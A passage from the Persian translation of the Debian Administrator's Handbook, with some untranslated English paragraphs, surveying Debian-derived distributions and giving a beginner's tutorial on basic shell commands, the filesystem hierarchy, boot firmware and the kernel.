همین امر گواه بر این است که چرا توزیع‌های مشتق شده دعوت می‌شوند تا در میلینگ لیست debian-derivatives@lists.debian.org به بحث و گفتگو بپردازند و در آمار منشتر شده رسمی شرکت کنند. هدف از این آمار، جمع‌آوری اطلاعاتی است که در توزیع‌های مشتق شده وجود دارند و به توسعه‌دهندگان رسمی دبیان این آگاهی را می‌دهد که بسته‌های خود را در این توزیع‌ها به صورت بهتری مدیریت کنند.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

بگذارید تا به صورت خلاصه برخی از جالب‌ترین و محبوب‌ترین این توزیع‌ها را برشماریم.

A.2. اوبونتو

Ubuntu made quite a splash when it came on the free software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.

These objectives necessarily involve a reduction in scope; Ubuntu focuses on a smaller number of packages than Debian, and relies primarily on the GNOME desktop (although there are Ubuntu derivatives that come with other desktop environments). Everything is internationalized and made available in a great many languages.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of June 2019, the current LTS version is version 18.04, nicknamed Bionic Beaver. The last non-LTS version is version 19.04, nicknamed Disco Dingo. Version numbers describe the release date: 19.04, for example, was released in April 2019.

در عمل پشتیبانی و پیمان نگهداری اوبونتو

کانونیکال بازه زمانی که طی آن از یک انتشار پشتیبانی بعمل می‌آورد را چندین مرتبه تغییر داده است. کانونیکال، به عنوان یک شرکت تجاری، وعده داده است که بروزرسانی‌های امنیتی برای تمام بسته‌های موجود در main و restricted واقع در بایگانی ابونتو را به مدت ۵ سال برای نسخه‌های بلند مدت و ۹ ماه برای سایر نسخه‌ها، فراهم کند. هر آنچه که باقی بماند (موجود در universe و multiverse) بر اساس یک تلاش دسته جمعی از طرف داوطلبان تیم MOTU (Masters Of The Universe) صورت می‌گیرد.

اوبونتو به طیف گسترده‌ای از مخاطبان عمومی دست یافته است. میلیون‌ها کاربر تحت تاثیر سادگی عملیات نصب و کارهایی که جهت تسهیل میزکار اوبونتو صورت گرفته است، قرار گرفته‌اند.

Ubuntu and Debian used to have a tense relationship; Debian developers who had placed great hopes in Ubuntu contributing directly to Debian were disappointed by the difference between the Canonical marketing, which implied Ubuntu were good citizens in the Free Software world, and the actual practice where they simply made public the changes they applied to Debian packages. Things have been getting better over the years, and Ubuntu has now made it general practice to forward patches to the most appropriate place (although this only applies to external software they package and not to the Ubuntu-specific software such as Mir or Unity).

→ https://www.ubuntu.com/

A.3. لینوکس مینت

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” variant that evolves continuously (as it is based on Debian Testing). In both cases, the initial installation involves booting a live DVD or a live USB storage device.

The distribution aims at simplifying access to advanced technologies, and provides specific graphical user interfaces on top of the usual software. For instance, Linux Mint relies on Cinnamon instead of GNOME by default (but it also includes MATE as well as Xfce); similarly, the package management interface, although based on APT, provides a specific interface with an evaluation of the risk from each package update.

Linux Mint includes a large amount of proprietary software to improve the experience of users who might need those. For example: Adobe Flash and multimedia codecs.

→ https://linuxmint.com/

A.4. ناپیکس

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 2 GB of (compressed) software, and the DVD-ROM version has even more.

Combining this CD-ROM to a USB stick allows carrying your files with you, and to work on any computer without leaving a trace — remember that the distribution doesn't use the hard-disk at all. Knoppix uses LXDE (a lightweight graphical desktop) by default, but the DVD version also includes GNOME and Plasma. Many other distributions provide other combinations of desktops and software. This is, in part, made possible thanks to the live-build Debian package that makes it relatively easy to create a live CD.

→ https://live-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/index-en.html

A.5. اپتوزید و سیداکشن

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. تیلز

هدف تیلز ایجاد دیسک زنده‌ای است که بینامی و حریم شخصی کاربر را رعایت کند. دقت بسیار بالایی در عدم بجایگذاری هیچ ردی روی رایانه‌های مورد استفاده دارد و از شبکه تور برای اتصال به اینترنت در بهترین حالت استفاده می‌کند.

→ https://tails.boum.org

A.8. کالی لینوکس

Kali Linux is a Debian-based distribution specializing in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).

→ https://kali.org

A.9. دیوان

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. دودو لینوکس

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console.

→ https://www.doudoulinux.org

A.11. رسپبیان

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The hardware for that platform is more powerful than what the Debian armel architecture can take advantage of, but lacks some features that would be required for armhf; so Raspbian is a kind of intermediary, rebuilt specifically for that hardware and including patches targeting this computer only.

→ https://raspbian.org

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers.

→ https://store.steampowered.com/steamos/

A.14. و بسیاری دیگر

The Distrowatch website references a huge number of Linux distributions, many of which are based on Debian. Browsing this site is a great way to get a sense of the diversity in the free software world.

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In June 2019, selecting Debian led to 127 active distributions!

→ https://distrowatch.com/search.php

پيوست B. درس کاربردی کوتاه

با اینکه مخاطب عمده این کتاب مدیران سیستم و “کاربران حرفه‌ای” هستند، اما قصد نداریم که کاربران تازه‌کار را از این فهرست خارج سازیم. این ضمیمه شامل درس‌های مقدماتی است که برای مدیریت یک رایانه تحت یونیکس باید بدانید.

B.1. خط فرمان و دستورات ابتدایی

در دنیای یونیکس، هر مدیر سیستمی دیر یا زود باید با خط فرمان ارتباط برقرار کند؛ برای نمونه، زمانی که سیستم عملکرد صحیح خود را از دست داده و به حالت اضطراری در خط فرمان برده می‌شود. توانایی مدیریت رابط خط فرمان، یک مهارت حیاتی برای نجات سیستم در چنین شرایطی به حساب می‌آید.

نگاه سریع اجرای مفسر دستور

A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In Plasma, you will find it in the K → Applications → System menu.

این قسمت تنها به بررسی اجمالی برخی دستورات می‌پردازد. تمامی آن‌ها شامل گزینه‌هایی هستند که اینجا به آن‌ها نمی‌پردازیم، پس برای جزئیات بیشتر به مستندات موجود در صفحات راهنمای آن‌ها مراجعه کنید.

B.1.1. مرور ساختار درختی و مدیریت فایل‌ها

زمانی که ترمینال باز می‌شود، دستور pwd (که مخفف print working directory است) مسیر جاری در فایل سیستم را نمایش می‌دهد. این مسیر توسط cd قابل تغییر است (که مخفف change directory است). دایرکتوری پدر همیشه با علامت .. (دو نقطه) فراخوانده می‌شود، در صورتی که مسیر جاری با علامت . (یک نقطه) شناخته می‌شود. دستور ls جهت نمایش محتویات داخل یک دایرکتوری استفاده می‌شود. اگر پارامتری داده نشود، بر روی دایرکتوری جاری عمل می‌کند.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

یک دایرکتوری جدید می‌تواند توسط mkdir directory ایجاد شود و یک دایرکتوری موجود (خالی) می‌تواند با دستور rmdir directory حذف شود. دستور mv امکان جابجایی یا نامگذاری مجدد فایل‌ها و دایرکتوری‌ها را به عهده دارد؛ حذف یک فایل توسط دستور rm انجام می‌شود.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. نمایش و تغییر فایل‌های متنی

دستور cat file (که با هدف الحاق فایل‌ها به خروجی استاندارد ایجاد شده) یک فایل را خوانده و محتویاتش را روی ترمینال نمایش می‌دهد. اگر فایل بیش از اندازه بزرگ باشد تا محتویاتش روی یک صفحه قابل نمایش باشند، از یک ابزار صفحه‌بندی مانند less (یا more) استفاده کنید تا محتویات فایل به صورت صفحه‌بندی شده نمایش داده شوند.

دستور editor یک ویرایشگر متن را اجرا می‌کند (مانند vi یا nano) که امکان ایجاد، تغییر و خواندن فایل‌های متنی را می‌دهد. ساده‌ترین فایل‌ها بعضی اوقات می‌توانند با دستوری مانند echo "text" >file ایجاد شوند: این دستور منجر به ایجاد فایلی به نام file با محتویات “text” می‌شود. اضافه‌کردن یک خط به انتهای این فایل نیز قابل انجام است، با دستوری مانند echo "moretext" >>file . به کاربرد >> در این نمونه توجه کنید.

B.1.3. جستجو به دنبال فایل‌ها و محتویات آن‌ها

دستور find directory criteria به دنبال فایل‌هایی در سلسه‌مراتب directory بر اساس شرایط گفته شده می‌گردد. پرکاربردترین شرایط مورد استفاده در آن عبارتند از -name name: که امکان جستجوی فایلی بر اساس نام آن را می‌دهد.

دستور grep expression files به جستجوی محتویات داخل یک فایل پرداخته و خط‌هایی را که با عبارت باقاعده (regex) همخوانی دارند استخراج می‌کند (به قسمت کنار صفحه‌ای بازگشت به مقدمات عبارت منظم مراجعه کنید). اضافه‌کردن گزینه -r امکان جستجو به صورت بازگشتی درون فایل‌های یک دایرکتوری را می‌دهد که نام آن در انتهای دستور ذکر می‌شود. این امکان به جستجوی فایل‌هایی کمک می‌کند که تنها برخی از محتویات آن‌ها قابل دسترسی هستند.

B.1.4. مدیریت فرآیندها (پروسه‌ها)

دستور ps aux فهرستی از فرآیندهای جاری در سیستم را نمایش می‌دهد و با نمایش pid (شناسه فرآیند) به شناسایی هر چه بهتر آن‌ها یاری می‌رساند. زمانی که pid یک فرآیند شناخته شود، دستور kill -signal pid امکان ارسال یک سیگنال را به آن می‌دهد (اگر فرآیند به کاربر جاری تعلق داشته باشد). سیگنال‌های متفاوتی وجود دارند؛ پرکاربردترین آن‌ها عبارتند از TERM (درخواست نابودسازی مودبانه) و KILL (نابودسازی خشن).

مفسر دستور همچنین می‌تواند برنامه‌ها را در پس‌زمینه اجرا کند در صورتی که عبارت “&” بعد از دستور قرار بگیرد. با استفاده از امپرسند، کاربر کنترل مجدد خط فرمان را بر عهده می‌گیرد با اینکه دستور در پس‌زمینه در حال اجرا است (از دید کاربر مخفی است؛ به عنوان یک فرآیند پس‌زمینه). دستور jobs فهرستی از فرآیندهای موجود در پس‌زمینه را ارائه می‌دهد؛ اجرای دستور fg %job-number (برای پیش‌زمینه) یک کار را به پیش‌زمینه منتقل می‌کند. وقتی دستوری در پیش‌زمینه اجرا می‌شود (خواه به صورت معمولی اجرا شده باشد، خواه با فراخوانی دستور fg) ترکیب کلید‌های Control+Z فرآیند را به حالت توقف درآورده و کنترل خط فرمان را به کاربر انتقال می‌دهد. این فرآیند می‌تواند با اجرای دستور bg %job-number (برای پس‌زمینه) به ادامه فعالیت خود بپردازد.

B.1.5. اطلاعات سیستم: حافظه، فضای ذخیره‌سازی، هویت

دستور free اطلاعات مربوط به حافظه را نمایش می‌دهد؛ دستور df (که مخفف disk free است) گزارش میزان فضای باقیمانده روی دیسک در تمام دیسک‌های نصب شده روی فایل سیستم را می‌دهد. گزینه -h آن (که مخفف human readble است) اندازه‌ها را به واحد خواناتری تبدیل می‌کند (معمولا مگابایت یا گیگابایت). به روشی مشابه، دستور free از گزینه‌های -m و -g بهره‌ می‌برد و داده‌ها را به صورت مگابایت یا گیگابایت نمایش می‌دهد.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

دستور id هویت کاربری که ترمینال را اجرا کرده است، نمایش می‌دهد، به همراه فهرست گروه‌هایی که کاربر به آن‌ها تعلق دارد. از آنجایی که دسترسی به برخی فایل‌ها یا دستگاه‌ها ممکن است برای اعضای گروه محدود شود، بررسی عضویت در گروه‌های موجود ممکن است مفید واقع شود.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. سازماندهی سلسله‌مراتب فایل‌سیستم

B.2.1. دایرکتوری ریشه

سیستم دبیان بر اساس استاندارد سلسله‌مراتب فایل‌سیستم یا FHS سازماندهی شده است. این استاندارد هدف از هر دایرکتوری را تعریف می‌کند. برای نمونه، دایرکتوری‌های اصلی سیستم به صورت زیر تعریف می‌شوند:

/bin/: برنامه‌های پایه;

/boot/: فایل‌های کرنل و سایر فایل‌هایی که برای راه‌اندازی اولیه سیستم لازم هستند;

/dev/: فایل‌های مربوط به دستگاه‌ها;

/etc/: فایل‌های پیکربندی و تنظیمات;

/home/: فایل‌های شخصی کاربران;

/lib/: کتابخانه‌های پایه;

/media/*: نقاط اتصالی برای دستگاه‌هایی با قابلیت جابجایی (سی‌دی‌رام، یو‌اس‌بی و ...);

/mnt/: نقطه اتصال موقتی;

/opt/: نرم‌افزاهای ثالثی که توسط شرکت‌های دیگر توسعه یافته‌اند;

/root/: فایل‌های شخصی مدیر اولیه سیستم;

/run/: volatile runtime data that does not persist across reboots;

/sbin/: برنامه‌های سیستمی;

/srv/: داده‌هایی که توسط سرورهای موجود روی سیستم استفاده می‌شوند;

/tmp/: فایل‌های موقتی؛ این دایرکتوری معمولا در زمان راه‌اندازی سیستم خالی است;

/usr/: برنامه‌های کاربردی؛ این دایرکتوری معمولا به زیرمجموعه‌های دیگری مانند bin و lib و sbin تقسیم می‌شود که بر اساس همان منطق دایرکتوری ریشه عمل می‌کنند. به علاوه، /usr/share/ شامل داده‌های جدای از معماری رایانه است. /usr/local به عنوان مکانی جهت نصب برنامه‌های توسط مدیر سیستم به صورت دستی استفاده می‌شود که با مدیر برنامه روی سییستم هیچ دخالتی ندارد.;

/var/: داده‌های متغیری که توسط دیمن‌ها مدیریت می‌شوند مانند فایل‌های لاگ، صف‌، اسپول مانند ایمیل و پرینتر و ...

/proc/ و /sys/ مختص به کرنل لینوکس هستند (و نه قسمتی از FHS). این فایل‌ها توسط کرنل استفاده می‌شوند تا داده‌های فضای کاربر مورد دسترسی قرار گیرند ( قسمت B.3.4, “فضای کاربری” و قسمت B.5, “فضای کاربری” را مشاهده کنید).

Note that many modern distributions, Debian included, are shipping /bin, /sbin and /lib as symlinks to the corresponding directories below /usr so that all programs and libraries are available in a single tree. It makes it easier to protect the integrity of the system files, and to share those system files among multiple containers, etc.

B.2.2. دایرکتوری خانه کاربر

محتوای داخل دایرکتوری خانه کاربر شامل استاندارد خاصی نمی‌شود، اما برخی قواعد حائز اهمیت وجود دارند. یکی از آن‌ها این است که برای دسترسی به این مسیر می‌توان از (“~”) استفاده کرد. این عمل بسیار مفید است چرا که مفسرهای دستور به صورت خودکار این کاراکتر را بار دایرکتوری صحیح آن تعویض می‌کنند (معمولا /home/user/).

بر اساس یک رسم قدیمی، فایل‌های پیکربندی برنامه‌ها معمولاً به صورت مستقیم در دایرکتوری خانه کاربر ذخیره می‌شوند، اما نامشان با یک نقطه آغاز می‌گردد (برای نمونه، نرم‌افزار ایمیل‌خوان mutt تنظیماتش را درون ~/.muttrc نگاه می‌دارد). نکته اینکه فایل‌هایی که با نقطه آغاز می‌شوند یه صورت پیش‌فرض مخفی هستند؛ و دستور ls تنها در صورتی آن‌ها را نمایش می‌دهد که از گزینه -a استفاده شود و مدیر فایل‌های گرافیکی نیز تنظیماتی برای نمایش آن‌ها دارند.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications (such as Firefox) also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

این فایل‌های پیکربندی به صورت مستقیم در دایرکتوری خانه کاربر قرار می‌گیرند، که اغلب با نام فایل‌های نقطه‌دار شناخته می‌شوند، به مرور زمان به اندازه‌ای زیاد شده‌اند که ممکن است با یکدیگر تداخل پیدا کنند. خوشبختانه، تلاشی که تحت حمایت پروژه FreeDesktop.org صورت گرفته منجر به ایجاد “قرارداد دایرکتوری مبدا XDG” شده، قراردادی که هدف از آن پاکسازی این فایل‌ها و دایرکتوری‌ها است. این قرارداد تعیین می‌کند که فایل‌های پیکربندی در مسیر ~/.config، فایل‌های cache در مسیر ~/.cache و داده‌های مربوط به برنامه‌ها در مسیر ~/.local (یا زیرمجموعه‌های آن) قرار بگیرند. این قرارداد به آرامی در حال پذیرفته شدن هستند و تعدادی از برنامه‌ها (به خصوص از نوع گرافیکی) استفاده از آن را آعاز کرده‌اند.

Graphical desktops usually display the contents of the ~/Desktop/ directory (or whatever the appropriate translation is for systems not configured in English) on the desktop (i.e. what is visible on screen once all applications are closed or iconized).

در نهایت، سیستم ایمیل گاهی اوقات پیام‌های دریافتی را داخل دایرکتوری ~/Mail/ نگاه می‌دارد.

B.3. طرزکار داخلی یک رایانه: لایه‌های مختلفی درگیر هستند

یک رایانه بیشتر به عنوان یک شی انتزاعی در نظر گرفته می‌شود و رابط گرافیکی خروجی بسیار ساده‌تر از پیچیدگی‌های درون آن دارد. این پیچیدگی از قسمت‌هایی می‌آید که با یکدیگر در ارتباط هستند. اگرچه، این قسمت‌ها می‌توانند به عنوان لایه‌های گوناگون دیده شوند، که هر لایه می‌تواند صرفاً با لایه بالا یا پایین خود ارتباط داشته باشد.

یک کاربر نهایی کاری با جزئیات این لایه‌ها ندارد... تا زمانی که همه چیز درست کار می‌کند. وقتی با مشکلاتی مانند “اینترنت کار نمی‌کند!” رو‌به‌رو می‌شویم، اولین کاری که باید کرد شناسایی لایه‌ای است که این مشکل از آن نشات گرفته است. آیا کارت شبکه (سخت‌افزار) کار می‌کند؟ آیا توسط رایانه شناخته شده است؟ آیا کرنل قادر به تعامل با آن است؟ آیا پارامترهای شبکه به درستی تنظیم شده‌اند؟ تمام این پرسش‌ها مربوط به یک لایه خاص می‌باشند و تمرکز خاصی روی موضوع مورد سوال دارند.

B.3.1. عمیق‌ترین لایه: سخت‌افزار

بگذارید با یادآوری کوتاهی شروع کنیم که رایانه در حقیقت مجموعه‌ای از عناصر سخت‌افزاری است. معمولاً یک برد اصلی وجود دارد (که با نام motherboard شناخته می‌شود) با یک (یا چند) پردازنده، مقدای حافظه، کنترلرهای دستگاه و کارت‌های توسعه برای سایر بردها (برای سایر کنترلرهای دستگاه). قابل توجه‌ترین این کنترلرها عبارتند از IDE (که Parallel ATA نیز نامیده می‌شود) و SCSI و Serial ATA، برای اتصال به دستگاه‌های ذخیره‌سازی مانند هارددیسک‌ها. سایر کنترلرها عبارتند از USB، که قادر به میزبانی از بسیاری دستگاه‌ها است (از دوربین گرفته تا دستگاه‌های حساس به حرارت، از صفحات کلید تا سیستم‌های خودکارسازی خانه) و IEEE 1394 (یا همان Firewire). این کنترلرها اغلب اجازه اتصال چندین دستگاه را می‌دهند تا جایی که سیستم درونی که این فعالیت‌ها را مدیریت می‌کنند با نام “گذرگاه” شناخته می‌شوند. بردهای دیگر شامل کارت‌های گرافیکی (که نمایشگرها به آن‌ها وصل هستند)، کارت‌های صدا، کارت‌های رابط شبکه و بسیاری دیگر. برخی بردهای اصلی به صورت پیش‌فرض این قابلیت‌ها را دارند و نیازی به سایر بردها وجود ندارد.

در عمل بررسی عملکرد صحیح سخت‌افزار

بررسی اینکه آیا قطعه‌ای سخت‌افزاری کار می‌کند ممکن است فوت و فن زیادی داشته باشد. از طرف دیگر، اثبات عدم عملکرد صحیح آن بسیار ساده است.

یک درایو هارددیسک از صفحات گردان و قسمت‌های متحرک مغناطیسی تشکیل شده است. وقتی یک هارددیسک روشن می‌شود، موتور صفحه آن غژغژ خاصی را ایجاد می‌کند. گاهی اوقات نیز انرژی مصرف شده را در قالب گرما خارج می‌شود. در نتیجه، یک درایور هارددیسک که سرد و خاموش می‌شود زمانی که این عملکرد اولیه دچار اشکال گردد.

کارت‌های شبکه اغلب شامل چراغ LED هستند که وضعیت ارتباطی را نمایش می‌دهد. اگر کابل شبکه وصل باشد و به یک هاب یا سوئیچ متصل، حداقل یک چراغ روشن می‌شود. اگر هیچ چراغی روشن نشد، خواه کارت شبکه، سخت‌افزار شبکه یا کابل بین آن‌‌ها قطع است. گام بعدی بررسی هر یک از این سخت‌افزارها است.

برخی بردهای اختیاری - به خصوص کارت‌های ویدیوئی ۳ بعدی - شامل دستگاه‌های خنک‌کننده هستند، مانند فن‌ها. اگر فن به چرخش خود ادامه ندهد با وجود اینکه کارت به کارش ادامه دهد، نشان می‌دهد که دچار گرمای بیش از اندازه شده است. این امر شامل پردازنده اصلی واقع در برداصلی نیز می‌شود.

B.3.2. راه‌انداز: BIOS یا UEFI

سخت‌افزار، به خودی خود، نمی‌تواند بدون ارتباط یک نرم‌افزار که آن را کنترل کند عملکرد مفیدی داشته باشد. کنترل و تعامل با سخت‌افزار از جمله وظایف سیستم عامل و برنامه‌های کاربردی آن است. این عمکرد، نیز متعاقباُ نیاز به عملکرد صحیح سخت‌افزار دارد.

این همزیستی بین سخت‌افزار و نرم‌افزار به خودی خود اتفاق نمی‌افتد. زمانی که رایانه برای اولین بار روشن می‌شود، برخی پیکربندی اولیه مورد نیاز است. این نقش را BIOS یا UEFI بازی می‌کند، نرم‌افزار کوچکی که درون برد اصلی قرار دارد که به صورت خودکار هنگام روشن شدن سیستم اجرا می‌شود. وظیفه اصلی آن یافتن نرم‌افزاری است که ادامه کنترل را به آن بسپارد. معمولاً، در مورد BIOS، به دنبال اولین هارددیسک با سکتور اجرایی آن می‌گردد (که با نام Master Boot Record یا MBR شناخته می‌شود)، بارگذاری آن سکتور راه‌انداز و در نهایت اجرای آن. از این لحظه، BIOS معمولاً نقش دیگری ندارد (تا راه‌آندازی بعدی سیستم) در مورد UEFI، فرآیند شامل اسکن دیسک‌ها می‌شود تا اولین پارتیشن اختصاصی EFI پیدا شود تا برنامه‌های مربوط به آن را اجرا کند.

ابزار Setup، ابزار پیکربندی BIOS/UEFI

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select an USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2 or F10. Most of the time, the choice is flashed on screen while booting.

سکتور راه‌انداز (یا پارتیشن EFI) در عوض، شامل نرم‌افزار دیگری نیز هستند که bootloader نامیده می‌شود که هدف اصلی‌اش جستجو و اجرای سیستم عامل است. از آنجایی که این bootloader داخل برد اصلی قرار ندارد و محتوایش از روی دیسک خوانده می‌شود، عملکرد هوشمندانه‌تری نسبت به BIOS دارد، که توضیح می‌دهد چرا BIOS نمی‌تواند به خودی خود سیستم عامل را راه‌اندازی کند. برای نمونه، bootloader (که اغلب در سیستم‌های لینوکس GRUB نامیده می‌شود) می‌تواند فهرستی از سیستم عامل‌های موجود روی سیستم را به کاربر نمایش داده تا وی انتخاب کند. معمولاً، زمان و گزینه پیش‌فرض انتخاب می‌شود. گاهی اوقات کاربر می‌تواند پارامترهای دیگری به کرنل ارائه دهد و مواردی از این دست. در نهایت، یک کرنل پیدا،‌در حافظه بارگذاری و اجرا می‌شود.

یادداشت UEFI, جایگزینی پیشرفته برای BIOS

Most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI.

این سیستم از شر برخی محدودیت‌های موجود در BIOS خلاص شده است: با بکارگیری یک پارتیشن اختصاصی، bootloaderها دیگر نیازی به فوت و فن‌های زیادی جهت قرارگیری در یک محفظه کوچک به نام Master Boot Record جهت شناسایی کرنل را ندارند. از این بهتر، با استفاده از یک کرنل لینوکس درست و درمان، UEFI به طور مستقیم می‌تواند آن را فراخوانی کرده بدون اجرای هیچ bootloader دیگر. UEFI پایه و اساس فرآیندی است که به آن راه‌اندازی امن می‌گویند، فناوری که طی آن شما تنها مجاز به اجرای نرم‌افزاری هستید که تولیدکننده سیستم عامل مجوز آن را صادر کرده باشد.

یکی دیگر از کاربردهای BIOS/UEFI شناسایی و بارگذاری اولیه برخی دستگاه‌ها است. به طور مشخص این فرآیند شامل دستگاه‌های IDE/SATA (معمولاً هارددیسک‌ها و درایوهای CD/DVD) و همچنین دستگاه‌های PCI می‌شود. دستگاه‌های شناسایی شده حین فرآیند راه‌اندازی سیستم، روی صفحه نمایش داده می‌شوند. اگر این فهرست به تندی از جلوی چشمتان رد می‌شود می‌توانید با فشردن دکمه Pause صفحه را برای چند لحظه نگاه دارید و به مطالعه آن بپردازید. دستگاه‌های PCI که نصب شده‌اند اما نمایش داده نمی‌شوند مانند طالعی نحس عمل می‌کنند! در بدترین حالت، خود سخت‌افزار ممکن است مشکل داشته باشد. در بهترین حالت، تنها ناسازگاری آن‌ها با نسخه BIOS یا برد اصلی است. قوانین مربوط به PCI پیشرفت زیادی داشته‌اند، اما بردهای اصلی قدیمی ضمانت اجرای دستگاه‌های PCI جدیدتر را ندارند.

B.3.3. کرنل

هر دو ابزار BIOS/UEFI و bootloader تنها برای چند ثانیه اجرا می‌شوند؛ در این مرحله به اولین نرم‌افزاری می‌رسیم که برای مدت طولانی‌تری اجرا می‌شود، کرنل (هسته) سیستم عامل. کرنل نقش یک رهبر ارکستر را بازی می‌کند و ارتباط صحیح بین نرم‌افزار و سخت‌افزار را تضمین می‌نماید. این نقش مستلزم اجرای وظایف گوناگونی است از قبیل: مدیریت سخت‌افزار، مدیریت فرآیندها، کاربران و مجوزهای مربوط به آنان، فایل سیستم و بسیاری موارد دیگر. کرنل یک پایگاه عمومی برای سایر برنامه‌های سیستم ایجاد می‌کند.

B.3.4. فضای کاربری

با اینکه هر آنچه خارج از محیط داخلی کرنل اتفاق می‌افتد با نام “فضای کاربری” شناخته می‌شود، می‌توانیم این قسمت را به لایه‌های مختلف نرم‌افزاری تقسیم کنیم. اگرچه، تعامل بین آن‌ها نسبت به گذشته پیچیده‌تر شده است و طبقه‌بندی آن‌ها کار ساده‌ای نخواهد بود. یک برنامه کابردی به صورت عمومی از کتابخانه‌هایی استفاده می‌کند که برخی عملکردهای کرنل را فراخوانی می‌کنند، اما ارتباط بین آن‌ها می‌تواند منجز به درگیر کردن سایر برنامه‌ها نیز بشود یا حتی کتابخانه‌های بیشتری در این فرآیند فراخوانی گردند.

B.4. برخی از وظایفی که کرنل به آن‌ها رسیدگی می‌کند

B.4.1. مدیریت سخت‌افزار

کرنل، در درجه نخست، وظیفه مدیریت قسمت‌های سخت‌افزاری، شناسایی آن‌ها و فعال‌سازی هنگامی که رایانه روشن می‌شود را بر عهده دارد. همچنین باعث می‌شود که نرم‌افزاری که در لایه بالاتر قرار دارد بتواند از طریق یک رابط برنامه‌نویسی ساده با آن ارتباط برقرار کند تا برنامه‌های کاربردی بتوانند از مزایای آن استفاده کرده بدون آنکه درگیر جزئیات لایه پایین‌تر خود شوند. این رابط برنامه‌نویسی همچنین یک لایه انتزاعی بوجود می‌آورد؛ برای نمونه، باعث می‌شود یک نرم‌افزار ویدیو کنفرانس بدون اطلاع از مدل و شماره وب‌کم، براحتی از آن استفاده کند. نرم‌افزار تنها می‌تواند از Video for Linux یا (V4L) استفاده کرده و کرنل وظیفه ترجمه فراخوانی‌های تابع را دارد که متناظر با دستورات موجود در خود سخت‌افزار وب‌کم باشند.

کرنل بسیاری از جزئیات مربوط به سخت‌افزار را از طریق فایل سیستم‌های مجازی /proc/ و /sys/ ارائه می‌دهد. برخی ابزارها نیز قابلیت ارائه این گزارشات را دارند. از میان آن‌ها، دستور lspci (واقع در بسته pciutils) فهرستی از دستگاه‌های PCI، دستور lsusb (واقع در بسته usbutils) فهرستی از دستگاه‌های USB و دستور lspcmcia (واقع در بسته pcmciautils) فهرستی از کارت‌های PCMCIA را نمایش می‌دهند. این ابزارها برای شناسایی مدل دقیق یک سخت‌افزار بسیار کاربردی هستند. این شناسایی دقیق منجر به جستجوهای دقیق‌تری در وب می‌شود که می‌تواند مستندات مرتبطی را نمایان سازد.
